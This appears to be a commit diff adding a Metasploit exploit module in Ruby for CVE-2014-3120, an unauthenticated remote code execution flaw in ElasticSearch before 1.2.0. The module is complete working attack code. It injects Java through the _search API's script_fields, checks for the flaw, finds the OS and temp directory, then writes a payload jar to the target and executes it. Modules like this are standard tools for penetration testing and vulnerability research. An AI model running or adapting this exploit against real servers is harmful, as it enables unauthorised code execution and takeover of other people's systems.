|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a remote command execution vulnerability in ElasticSearch, |
| 19 | + exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the |
| 20 | + REST API, which requires no authentication or authorization, where the search |
| 21 | + function allows dynamic scripts execution, and can be used for remote attackers |
| 22 | + to execute arbitrary Java code. This module has been tested successfully on |
| 23 | + ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Alex Brasetvik', # Vulnerability discovery |
| 28 | + 'Bouke van der Bijl', # Vulnerability discovery and PoC |
| 29 | + 'juan vazquez' # Metasploit module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['CVE', '2014-3120'], |
| 35 | + ['OSVDB', '106949'], |
| 36 | + ['EDB', '33370'], |
| 37 | + ['URL', 'http://bouk.co/blog/elasticsearch-rce/'], |
| 38 | + ['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch'] |
| 39 | + ], |
| 40 | + 'Platform' => 'java', |
| 41 | + 'Arch' => ARCH_JAVA, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'ElasticSearch 1.1.1 / Automatic', { } ] |
| 45 | + ], |
| 46 | + 'DisclosureDate' => 'Dec 09 2013', |
| 47 | + 'DefaultTarget' => 0)) |
| 48 | + |
| 49 | + register_options( |
| 50 | + [ |
| 51 | + Opt::RPORT(9200), |
| 52 | + OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]), |
| 53 | + OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ]) |
| 54 | + ], self.class) |
| 55 | + end |
| 56 | + |
| 57 | + def check |
| 58 | + result = Exploit::CheckCode::Safe |
| 59 | + |
| 60 | + if vulnerable? |
| 61 | + result = Exploit::CheckCode::Vulnerable |
| 62 | + end |
| 63 | + |
| 64 | + result |
| 65 | + end |
| 66 | + |
| 67 | + def exploit |
| 68 | + print_status("#{peer} - Trying to execute arbitrary Java..") |
| 69 | + unless vulnerable? |
| 70 | + fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") |
| 71 | + end |
| 72 | + |
| 73 | + print_status("#{peer} - Asking remote OS...") |
| 74 | + res = execute(java_os) |
| 75 | + result = parse_result(res) |
| 76 | + if result.nil? |
| 77 | + fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...") |
| 78 | + else |
| 79 | + print_good("#{peer} - OS #{result} found") |
| 80 | + end |
| 81 | + |
| 82 | + jar_file = "" |
| 83 | + if result =~ /win/i |
| 84 | + print_status("#{peer} - Asking TEMP path") |
| 85 | + res = execute(java_tmp_dir) |
| 86 | + result = parse_result(res) |
| 87 | + if result.nil? |
| 88 | + fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...") |
| 89 | + else |
| 90 | + print_good("#{peer} - TEMP path found on #{result}") |
| 91 | + end |
| 92 | + jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" |
| 93 | + else |
| 94 | + jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar") |
| 95 | + end |
| 96 | + |
| 97 | + register_file_for_cleanup(jar_file) |
| 98 | + execute(java_payload(jar_file)) |
| 99 | + end |
| 100 | + |
| 101 | + def vulnerable? |
| 102 | + addend_one = rand_text_numeric(rand(3) + 1).to_i |
| 103 | + addend_two = rand_text_numeric(rand(3) + 1).to_i |
| 104 | + sum = addend_one + addend_two |
| 105 | + |
| 106 | + java = java_sum([addend_one, addend_two]) |
| 107 | + res = execute(java) |
| 108 | + result = parse_result(res) |
| 109 | + |
| 110 | + if result.nil? |
| 111 | + return false |
| 112 | + else |
| 113 | + result.to_i == sum |
| 114 | + end |
| 115 | + end |
| 116 | + |
| 117 | + def parse_result(res) |
| 118 | + unless res && res.code == 200 && res.body |
| 119 | + return nil |
| 120 | + end |
| 121 | + |
| 122 | + begin |
| 123 | + json = JSON.parse(res.body.to_s) |
| 124 | + rescue JSON::ParserError |
| 125 | + return nil |
| 126 | + end |
| 127 | + |
| 128 | + begin |
| 129 | + result = json['hits']['hits'][0]['fields']['msf_result'][0] |
| 130 | + rescue |
| 131 | + return nil |
| 132 | + end |
| 133 | + |
| 134 | + result |
| 135 | + end |
| 136 | + |
| 137 | + def java_sum(summands) |
| 138 | + source = <<-EOF |
| 139 | +#{summands.join(" + ")} |
| 140 | + EOF |
| 141 | + |
| 142 | + source |
| 143 | + end |
| 144 | + |
| 145 | + def to_java_byte_array(str) |
| 146 | + buff = "byte[] buf = new byte[#{str.length}];\n" |
| 147 | + i = 0 |
| 148 | + str.unpack('C*').each do |c| |
| 149 | + buff << "buf[#{i}] = #{c};\n" |
| 150 | + i = i + 1 |
| 151 | + end |
| 152 | + |
| 153 | + buff |
| 154 | + end |
| 155 | + |
| 156 | + def java_os |
| 157 | + "System.getProperty(\"os.name\")" |
| 158 | + end |
| 159 | + |
| 160 | + def java_tmp_dir |
| 161 | + "System.getProperty(\"java.io.tmpdir\");" |
| 162 | + end |
| 163 | + |
| 164 | + |
| 165 | + def java_payload(file_name) |
| 166 | + source = <<-EOF |
| 167 | +import java.io.*; |
| 168 | +import java.lang.*; |
| 169 | +import java.net.*; |
| 170 | +
|
| 171 | +#{to_java_byte_array(payload.encoded_jar.pack)} |
| 172 | +File f = new File('#{file_name.gsub(/\\/, "/")}'); |
| 173 | +FileOutputStream fs = new FileOutputStream(f); |
| 174 | +bs = new BufferedOutputStream(fs); |
| 175 | +bs.write(buf); |
| 176 | +bs.close(); |
| 177 | +bs = null; |
| 178 | +URL u = f.toURI().toURL(); |
| 179 | +URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u}); |
| 180 | +Class c = cl.loadClass('metasploit.Payload'); |
| 181 | +c.main(null); |
| 182 | + EOF |
| 183 | + |
| 184 | + source |
| 185 | + end |
| 186 | + |
| 187 | + def execute(java) |
| 188 | + payload = { |
| 189 | + "size" => 1, |
| 190 | + "query" => { |
| 191 | + "filtered" => { |
| 192 | + "query" => { |
| 193 | + "match_all" => {} |
| 194 | + } |
| 195 | + } |
| 196 | + }, |
| 197 | + "script_fields" => { |
| 198 | + "msf_result" => { |
| 199 | + "script" => java |
| 200 | + } |
| 201 | + } |
| 202 | + } |
| 203 | + |
| 204 | + res = send_request_cgi({ |
| 205 | + 'uri' => normalize_uri(target_uri.path.to_s, "_search"), |
| 206 | + 'method' => 'POST', |
| 207 | + 'data' => JSON.generate(payload) |
| 208 | + }) |
| 209 | + |
| 210 | + return res |
| 211 | + end |
| 212 | + |
| 213 | +end |
0 commit comments